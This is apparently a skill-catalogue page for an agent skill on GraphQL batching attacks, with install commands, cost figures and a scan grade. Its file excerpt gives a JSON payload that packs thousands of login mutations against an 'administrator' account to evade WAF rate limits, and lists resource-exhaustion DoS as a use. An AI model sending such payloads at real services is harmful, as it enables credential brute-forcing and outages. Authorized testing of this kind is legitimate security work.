Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/graphql-batching-attacksWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/graphql-batching-attacks)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/graphql-batching-attacks"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/graphql-batching-attacks/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/graphql-batching-attacks"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/graphql-batching-attacks.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00060 | $0.02168 |
| Opus 5 | $0.00030 | $0.01084 |
| Sonnet 5 | $0.00012 | $0.00434 |
| Haiku 4.5 | $0.00006 | $0.00217 |
Grade A, and why
graphql-batching-attacks scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to graphql-batching-attacks — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 171 lines — stays where its author put it; the contents beside it link to each section on GitHub.
GraphQL Batching Attacks
When to Use
- When testing a GraphQL endpoint (
/graphql) protected by standard, IP-based or token-based Rate Limiting (e.g., Akamai, Cloudflare, AWS WAF). - During credential stuffing or password brute-forcing scenarios where the API enforces a limit of "5 login attempts per minute".
- To severely impact the backend database's availability (Resource Exhaustion DOS) by forcing thousands of massive, simultaneous queries that the frontend proxy interprets as a single web request.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Understanding Standard Rate Limiting Constraints The WAF
// Concept: Standard REST APIs require one HTTP request per action:
// POST /api/login -> "Username: admin, Password: 1" (Attempt 1)
// POST /api/login -> "Username: admin, Password: 2" (Attempt 2)
//
// The WAF simply counts the HTTP requests and blocks the IP address at Attempt 5.
// GraphQL is fundamentally different. It accepts an Array [] of completely distinct queries
// within a single HTTP POST envelope. The WAF counts it as "One Request".
Phase 2: Array-Based Query Batching (The Array Bypass)
// Concept: Pass an array of multiple distinct operation requests to the server simultaneously.
// 1. The Payload:
[
{ "query": "mutation { login(username: \"administrator\", password: \"Password1\") { token } }" },
{ "query": "mutation { login(username: \"administrator\", password: \"Password2\") { token } }" },
{ "query": "mutation { login(username: \"administrator\", password: \"Password3\") { token } }" },
... // Pack 5,000 login attempts here
]
// 2. The Execution:
// Send one single HTTP POST request containing the JSON array.
// The GraphQL resolver (e.g., Apollo Server) iterates through the array natively, executing
// all 5,000 database login checks bypassing the WAF's 5-per-minute restriction.
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 10d ago First seen · 171 lines · 60 tokens per session scan A 8511aaffc9ec
graphql-batching-attacks is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 60 tokens to every session and 2,168 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to graphql-batching-attacks, differing in 0 lines, and is treated as a copy.
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Implements API rate limiting and throttling controls using token bucket, sliding window, and fixed window algorithms to protect against brute force attacks, credential stuffing, resource exhaustion, and API abuse. The engineer configures per-user, per-IP, and per-endpoint rate limits using Redis-backed counters, API…